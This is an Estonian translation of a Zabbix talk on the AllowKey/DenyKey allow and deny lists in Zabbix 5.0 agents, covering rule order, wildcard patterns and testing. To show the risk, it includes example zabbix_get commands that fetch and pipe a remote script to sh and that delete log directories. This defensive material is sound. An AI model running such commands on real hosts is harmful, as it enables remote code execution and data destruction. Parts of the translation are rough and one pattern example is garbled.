
Toetatakse mustade ja valgete nimekirjade kasutamist agentide mõõdikute jaoks
Tihhon Uskov, Integreerimise insener, Zabbix
Andmete turvaprobleemid
Zabbix 5.0-s on uus funktsioon, mis parandab turvalisust süsteemides, mis kasutavad Zabbix Agenti ja asendab vana parameetri EnableRemoteCommands.
Agentide turvalisuse parandamine on tingitud asjaolust, et agent võib täita palju potentsiaalselt ohtlikke toiminguid.
- Agent saab koguda praktiliselt igasugust teavet, sealhulgas konfidentsiaalset või potentsiaalselt ohtlikku teavet konfiguratsioonifailidest, logifailidest, paroolifailidest või mistahes muudest failidest.
Näiteks võib zabbix_get utiliidi abil pääseda ligi kasutajate nimekirjale, nende kodukatsetele, paroolifailidele jne.

Andmete juurde pääsemine zabbix_get utiliidi kaudu
MÄRKUS. Andmed saavad olla kättevõetavad ainult juhul, kui agentil on õigus lugeda vastavat faili. Ent näiteks on fail /etc/passwd/ kõikidele kasutajatele loetav.
- Ameer võib samuti teostada potentsiaalselt ohtlikke käske. Näiteks, võti *system.run[]** võimaldab täita kõik kaugkäsud võrgus, sealhulgas käivitada Zabbixi veebiliidesest skripte, mis täidavad ka käske agendi pool.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Linuxis käivitub agent vaikimisi ilma root-privileegideta, samas kui Windowsis käivitub see teenusena Systemi nimel ja omab piiramatut juurdepääsu failisüsteemile. Seega, kui Zabbix Agendi seadeid pärast installimist ei muudetud, on agendil juurdepääs registrile, failisüsteemile ja ta saab teostada WMI päringuid.
Varasemates versioonides võimaldas parameeter EnableRemoteCommands=0 ainult keelata metrikad võtmega *system.run[]** ja skriptide täitmise veebiliidesest, kuid ei võimaldanud eraldi failidele juurdepääsu piirata, eraldi võtmete lubamist või keelamist, mis seadistati koos agendiga, või piirata üksikute parameetrite kasutamist.

Varasemates Zabbixi versioonides parameetri EnableRemoteCommand kasutamine
AllowKey/DenyKey
Zabbix 5.0 aitab kaitsta sellise volitamata juurdepääsu eest, kasutades agentide poolset meetrikate lubamise ja keeldumise valgeid ning mustasid nimesid.
Zabbix 5.0-s on kõik võtmed, sealhulgas *system.run[]**, lubatud ning agentide konfiguratsiooni on lisatud kaks uut parameetrit:
AllowKey= — lubatud kontrollid;
DenyKey= — keelatud kontrollid;
kus — võtme nime mustri parameetrid, milles kasutatakse metasümboleid (*).
AllowKey ja DenyKey võtmed võimaldavad konkreetse mustri alusel lubada või keelata üksikuid meetrikaid. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See võimaldab selgelt määratleda, mida agent süsteemis teha saab, luues kontrollide puu — täidetud võtmed, kus nende kirjutamise järjekord mängib väga olulist rolli.
Reeglite järjestus
Reeglid kontrollitakse selles järjekorras, milles need on lisatud konfiguratsioonifaili. Klahvi kontrollimine reeglite järgi toimub esimese vaste kuni esimese vasteni ja niipea, kui andmeelemendi võti vastab mustrile, lubatakse või keelatakse see. Pärast seda reeglite kontrollimise protsess peatub ja ülejäänud võtmeid ignoreeritakse.
Seetõttu, kui element vastab nii lubavale kui ka keelavale reeglile, sõltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.

2 erinevat reeglit, millel on sama muster ja võti vfs.file.size[/tmp/file]
Lubatud / Keelatud võtmete kasutamise järjekord:
- täpsed reeglid,
- üldreeglid,
- keelav reegel.
Näiteks, kui vajate juurdepääsu failidele teatud kaustas, tuleb kõigepealt lubada juurdepääs neile, seejärel keelata kõik muu, mis ei kuulu kehtestatud lubatud piirangute alla. Kui keelav reegel on esimesena kasutusele võetud, siis juurdepääs kaustale keelatakse.

Õige järjestus
Kui on vajalik lubada 2 utiliidi käivitamine läbi *system.run[]**, ja eelnevalt on märgitud keeld, utiliidid ei käivitu, kuna esimene musternäidis vastab alati igale võtmele ning järgnevaid eeskirju ei arvestata.

Vale järjestus
Mustri tüübid
Põhireeglid
Muster on väljend, mis sisaldab asendustähiseid (wildcard). Metasümbol (*) vastab igasuguste sümbolite arvule kindlas positsioonis. Metasümboleid võib kasutada nii võtme nimedes kui ka parameetrites. Näiteks võib esimese parameetri kindlalt määrata tekstina, ja järgneva määrata wildcard'ina.
Parameetrid peavad olema kantud nurksulgudesse [].
system.run[*— valevfs.file*.txt]— valevfs.file.*[*]— õige
Wildcard'i kasutamise näited.
- Nii võtme nimedes kui ka parameetrites. Antud juhul ei vasta võti analoogsele võtmele, mis ei sisalda parameetrit, kuna musternäidises oleme määranud, et soovime saada mingit võtmename lõppu ja mingit parameetrite kogumit.
- Kui musternäidises ei ole nurksulge, lubab muster kõik võtmed, mis ei sisalda parameetreid, ja keelab kõik võtmed, millel on märgitud parameeter.
- Kui võti on täielikult kirjutatud ja parameetrid on näidatud kui wildcard, vastab see igasugusele sarnasele võtmele, millel on mis tahes parameetrid ning ei vasta võtmele, millel ei ole ruudukaldeid, st see on lubatud või keelatud.

Parameetrite täitmise reeglid.
- Kui kavandatakse võtme kasutamist koos parameetritega, peavad parameetrid olema määratletud konfiguratsioonifailis. Parameetrid peavad olema näidatud kui metasümbol. Oluline on ettevaatlikult keelata juurdepääs igasugustele failidele ning arvesse võtta, millist teavet võib mõõdik anda erinevate kirjutamisvariantide korral – koos parameetritega ja ilma nendeta.

Parameetritega võtmete kirjutamise eripärad
- Kui võti on näidatud parameetritega, kuid parameetrid on valikulised ja näidatud kui metasümbol, on see, et võti ilma parameetriteta on lubatud. Näiteks, kui soovite keelata teabe saamise CPU koormuse kohta ja näitate, et võti system.cpu.load[*] peab olema keelatud, ärge unustage, et võti ilma parameetriteta tagastab keskmise koormuse.

Parameetrite täitmise reeglid
Märkmed
Seadistamine
- Mõningaid reegleid ei saa kasutaja muuta, näiteks avastamis- (discovery) või agentide automaatregistratsiooni reeglid. Reeglid AllowKey/DenyKey ei puuduta järgmisi parameetreid:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
MÄRKUS. Kui administraator keelab mõne võtme, ei esita Zabbix taotluse korral teavet selle kohta, miks mõõdik või võti kuulub kategooriasse ‘NOTSUPPORTED‘. Agendi logifailides ei kuvata teavet kaugkomandode täitmise keeldude kohta. See on tehtud turvakaalutlustel, kuid võib keeruliseks muuta tõrkeotsingu, kui mõõdikud satuvad mingil põhjusel toetamata kategooriasse..
- Ei tasu loota mingile kindlale järjekorrale väliste konfiguratsioonifailide laadimisel (näiteks tähestikulises järjekorras).
Käsurea utiliidid
Pärast reeglite seadistamist on oluline veenduda, et kõik on õigesti seadistatud.
Selleks on kolm varianti:
- Lisada mõõdik Zabbixisse.
- Testida zabbix_agentd. Zabbix agent koos valikuga -print (-p) näitab kõiki võtmeid (mis on vaikimisi lubatud), välja arvatud need, mis ei ole konfiguratsiooniga lubatud. Ja valikuga -test (-t) keelatud võtme jaoks tagastab ‘Toetamata esemete võti‘.
- Testida zabbix_get. Tööriist zabbix_get valikuga -k tagastab ‘ZBX_NOTSUPPORTED: Tundmatu mõõdik‘.
Lubada või keelata
Saate keelata juurdepääsu failile ja veenduda, näiteks, tööriista abil zabbix_get, et juurdepääs failile on keelatud.

**
MÄRKUS. Parameetri jutumärgid jäetakse tähelepanuta.
Sel juhul võib sellisele failile olla lubatud juurdepääs teise tee kaudu. Näiteks, kui sellele viitab sümboolne link.

Soovitav on testida erinevaid rakendamisvõimalusi seatud reeglite ning arvesse võtta võimalusi piirangute ületamiseks.
Küsimused ja vastused
Küsimus. Miks on reeglite, lubade ja keeldude kirjeldamiseks valitud nii keeruline mustrikeel? Miks ei saanud kasutada, näiteks, regulaarseid väljendeid, mida kasutab Zabbix?
Vastus. See on regulaarsete väljendite jõudluse küsimus, kuna agent on tavaliselt üks ja see kontrollib tohutult palju mõõdikuid. Regulaarne väljend on üsna ressursiintensiivne operatsioon ning me ei saa kontrollida tuhandeid mõõdikuid nii. Wildcard'id on universaalne, laialdaselt rakendatav ja lihtne lahendus..
Küsimus. Kas Include-failid ei laadita mitte tähestikulises järjekorras?
Vastus. Teadaolevalt on reeglite rakendamise järjestuse ennustamine, kui jagate reeglid erinevatesse failidesse, praktiliselt võimatu. Soovitan koguda kõik AllowKey/DenyKey reeglid ühte Include faili, kuna nad suhtlevad omavahel, ja seejärel seda faili lisada..
Küsimus. Zabbix 5.0 versioonis on võimalus ‘EnableRemoteCommands=‘ konfigureerimisfailist puudub ning saadaval on ainult AllowKey/DenyKey?
Vastus. Jah, kõik on õige..
Aitäh tähelepanu eest!
Allikas: habr.com
